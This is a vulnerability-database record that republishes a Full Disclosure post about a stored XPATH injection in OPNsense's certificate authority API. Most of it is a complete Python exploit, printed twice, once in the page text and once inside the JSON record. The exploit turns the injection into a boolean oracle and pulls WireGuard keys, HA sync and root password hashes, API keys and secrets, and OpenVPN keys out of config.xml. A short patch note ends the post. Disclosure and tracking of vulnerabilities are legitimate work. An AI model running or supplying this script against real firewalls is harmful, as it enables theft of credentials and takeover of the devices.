GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0022

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:35
VLAI
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca manager/certificate manager perms to leak any secret key/any value in config.xml, thus achieving privilege escalation and potentially remote code execution. this can also likely be chained via csrf and some clever hiding. see https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r == VULN == the primary vulnerable sink is here: $refcount = count(Config::getInstance()->object()->xpath("//*[text() = '{$node->refid}']")) - 1; as we control node->refid, which can be seen in here: protected function setBaseHook($node) { if (empty((string)$node->refid)) { $node->refid = uniqid(); } $error = false; if (!empty((string)$node->prv_payload)) { /** private key manually offered */ $node->prv = base64_encode((string)$node->prv_payload); } we know that if refid is empty it'll be a uniqid - which means its meant to be alphanumeric. notably, there are no preg_match/regex matches that check whether or not a user supplied refid isnt alphanumeric. in this case, we can now test this by hitting this endpoint: POST /api/trust/ca/add HTTP/12.1 Content-Type: application/x-www-form-urlencoded ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf () example com to truly exploit this we can write a script that turns the xpath injection we have into a decent boolean oracle, then slowly leak each character. for example, an openvpn private key or a root password hash. == xp == import argparse import string import sys import random import threading from concurrent.futures import ThreadPoolExecutor from queue import Queue import requests import urllib3 urllib3.disable_warnings() # yeah idk dude iiwiw lol targs = { "wgppk": "//OPNsense/wireguard/server/servers/server/privkey", "wgpsk": "//OPNsense/wireguard/client/clients/client/psk", "hasyncpw": "//hasync/password", "roothash": "//system/user/password", "rootkey": "//system/user/apikeys/item/key", "rootsecret": "//system/user/apikeys/item/secret", "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key" } cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; ")) # print("".join(cset)) makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__" total = 0 lock = threading.Lock() # mega ass def sesh(a): s = requests.Session() s.auth = a s.verify = False return s def prober(s, base, n): canary = makecanary() r = s.post(f"{base}/api/trust/ca/add", data={ "ca[refid]": canary, "ca[descr]": f"p{n}", "ca[action]": "internal", "ca[commonname]": f"p{n}", }, timeout=30) return r.json().get("uuid", "n/a"), canary def inj(s, base, ca_uuid, nx, condition): global total payload = f"{nx}' or ({condition}) or 'x'='" s.post( f"{base}/api/trust/ca/set/{ca_uuid}", data={"ca[refid]": payload}, timeout=30, ) r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30) with lock: total += 1 ca = r.json().get("ca", {}) # refcount = int(ca["refcount"]) refcount = int(ca.get("refcount", "0")) return refcount > 0 def getlen(s, base, ca, nx, xpath): lo, hi = 0, 300 while lo < hi: mid = (lo + hi + 1) // 2 if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"): lo = mid else: hi = mid - 1 return lo def binsrch(s, base, ca, nx, xpath, pos): cands = cset[:] while len(cands) > 1: midpoint = len(cands) // 2 half = "".join(cands[:midpoint]) cond = f"contains('{half}', substring({xpath},{pos},1))" if inj(s, base, ca, nx, cond): cands = cands[:midpoint] else: cands = cands[midpoint:] c = cands[0] if c == "'": lit = f'"{c}"' else: lit = f"'{c}'" cond = f"substring({xpath},{pos},1)={lit}" if inj(s, base, ca, nx, cond): return c return None def extract(workers, base, xpath): s0, ca0, nx0 = workers[0] length = getlen(s0, base, ca0, nx0, xpath) if length == 0: return "" print(f"+ maybe {length} len") result = ["?"] * length wq = Queue() for w in workers: wq.put(w) # start grabbing def do(pos): s, ca, nx = wq.get() try: return pos, binsrch(s, base, ca, nx, xpath, pos + 1) finally: wq.put((s, ca, nx)) with ThreadPoolExecutor(max_workers=len(workers)) as pool: # for pos, ch in pool.map(doer_func(p), range(length)): for pos, ch in pool.map(lambda p: do(p), range(length)): if ch: result[pos] = ch sys.stdout.write(ch or "#") sys.stdout.flush() print() return "".join(result) def main(): global total print("xray") target_names = list(targs.keys()) target_list = "\n".join(f"{k}:{v}" for k, v in targs.items()) # i gave it a bs name parser = argparse.ArgumentParser( description="x-ray", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="extractables:\n" + target_list, ) parser.add_argument("targ", help="base url") parser.add_argument("api_key", help="you need this") parser.add_argument("api_secret", help="this too") parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract") parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel") args = parser.parse_args() base = args.targ.rstrip("/") auth = (args.api_key, args.api_secret) s = sesh(auth) r = s.get(f"{base}/api/trust/ca/search", timeout=10) if r.status_code != 200: print("- bro") sys.exit(1) print("+ oh sweet we can access the ca api") workers = [] for i in range(args.workers): ws = sesh(auth) uuid, nx = prober(ws, base, i) if not uuid: print("creating probe failed (prober)") sys.exit(1) workers.append((ws, uuid, nx)) print(f"+ {args.workers} probing\n") # extract if args.target == "all": targets = targs else: targets = {args.target: targs[args.target]} for name, xpath in targets.items(): print(f"+ {name}") s0, ca0, nx0 = workers[0] if not inj(s0, base, ca0, nx0, f"boolean({xpath})"): print("n/a") continue val = extract(workers, base, xpath) print(f"{repr(val)} ({total} reqs)\n") # finally: # nvm # cleanup but not really beacuse im lazy for ws, ca, nx in workers: ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30) print(f"+ done {total}") if __name__ == "__main__": main() == PATCH/MITIG == update to 26.1.10. alternatively, add a preg_match guard and an input mask to Ca.xml by hand (if youre about that life) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version CPE status
Opnsense XPATH Injection Affected: unknown
guessed Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "XPATH Injection",
          "vendor": "Opnsense",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "evan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n    {\n        if (empty((string)$node-\u003erefid)) {\n            $node-\u003erefid = uniqid();\n        }\n        $error = false;\n        if (!empty((string)$node-\u003eprv_payload)) {\n            /** private key manually offered */\n            $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n        }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n    \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n    \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n    \"hasyncpw\": \"//hasync/password\",\n    \"roothash\": \"//system/user/password\",\n    \"rootkey\": \"//system/user/apikeys/item/key\",\n    \"rootsecret\": \"//system/user/apikeys/item/secret\",\n    \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n    s = requests.Session()\n    s.auth = a\n    s.verify = False\n    return s\n\n\ndef prober(s, base, n):\n    canary = makecanary()\n    r = s.post(f\"{base}/api/trust/ca/add\", data={\n        \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n        \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n    }, timeout=30)\n    return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n    global total\n    payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n    s.post(\n        f\"{base}/api/trust/ca/set/{ca_uuid}\",\n        data={\"ca[refid]\": payload},\n        timeout=30,\n    )\n    r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n    with lock:\n        total += 1\n    ca = r.json().get(\"ca\", {})\n    # refcount = int(ca[\"refcount\"])\n    refcount = int(ca.get(\"refcount\", \"0\"))\n    return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n    lo, hi = 0, 300\n    while lo \u003c hi:\n        mid = (lo + hi + 1) // 2\n        if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n            lo = mid\n        else:\n            hi = mid - 1\n    return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n    cands = cset[:]\n    while len(cands) \u003e 1:\n        midpoint = len(cands) // 2\n        half = \"\".join(cands[:midpoint])\n        cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n        if inj(s, base, ca, nx, cond):\n            cands = cands[:midpoint]\n        else:\n            cands = cands[midpoint:]\n\n    c = cands[0]\n    if c == \"\u0027\":\n        lit = f\u0027\"{c}\"\u0027\n    else:\n        lit = f\"\u0027{c}\u0027\"\n\n    cond = f\"substring({xpath},{pos},1)={lit}\"\n    if inj(s, base, ca, nx, cond):\n        return c\n    return None\n\n\ndef extract(workers, base, xpath):\n    s0, ca0, nx0 = workers[0]\n    length = getlen(s0, base, ca0, nx0, xpath)\n    if length == 0:\n        return \"\"\n    print(f\"+ maybe {length} len\")\n\n    result = [\"?\"] * length\n\n    wq = Queue()\n    for w in workers:\n        wq.put(w)\n    # start grabbing\n    def do(pos):\n        s, ca, nx = wq.get()\n        try:\n            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n        finally:\n            wq.put((s, ca, nx))\n\n    with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n       # for pos, ch in pool.map(doer_func(p), range(length)):\n        for pos, ch in pool.map(lambda p: do(p), range(length)):\n            if ch:\n                result[pos] = ch\n            sys.stdout.write(ch or \"#\")\n            sys.stdout.flush()\n\n    print()\n    return \"\".join(result)\n\n\ndef main():\n    global total\n    print(\"xray\")\n    target_names = list(targs.keys())\n    target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n    # i gave it a bs name\n    parser = argparse.ArgumentParser(\n        description=\"x-ray\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=\"extractables:\\n\" + target_list,\n    )\n    parser.add_argument(\"targ\", help=\"base url\")\n    parser.add_argument(\"api_key\", help=\"you need this\")\n    parser.add_argument(\"api_secret\", help=\"this too\")\n    parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n    parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n    args = parser.parse_args()\n\n    base = args.targ.rstrip(\"/\")\n    auth = (args.api_key, args.api_secret)\n\n\n    s = sesh(auth)\n    r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n    if r.status_code != 200:\n        print(\"- bro\")\n        sys.exit(1)\n    print(\"+ oh sweet we can access the ca api\")\n\n\n    workers = []\n\n    for i in range(args.workers):\n        ws = sesh(auth)\n        uuid, nx = prober(ws, base, i)\n        if not uuid:\n            print(\"creating probe failed (prober)\")\n            sys.exit(1)\n        workers.append((ws, uuid, nx))\n    print(f\"+ {args.workers} probing\\n\")\n\n    # extract\n    if args.target == \"all\":\n        targets = targs\n    else:\n        targets = {args.target: targs[args.target]}\n    for name, xpath in targets.items():\n        print(f\"+ {name}\")\n        s0, ca0, nx0 = workers[0]\n        if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n            print(\"n/a\")\n            continue\n        val = extract(workers, base, xpath)\n        print(f\"{repr(val)}  ({total} reqs)\\n\")\n    # finally: # nvm\n    # cleanup but not really beacuse im lazy\n    for ws, ca, nx in workers:\n    ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n    print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:35:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/18"
        },
        {
          "url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OPNsense XPATH Injection (CVE-2026-53582)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0022",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
            "automated": true,
            "contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-03T10:56:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-11T11:35:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0022"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…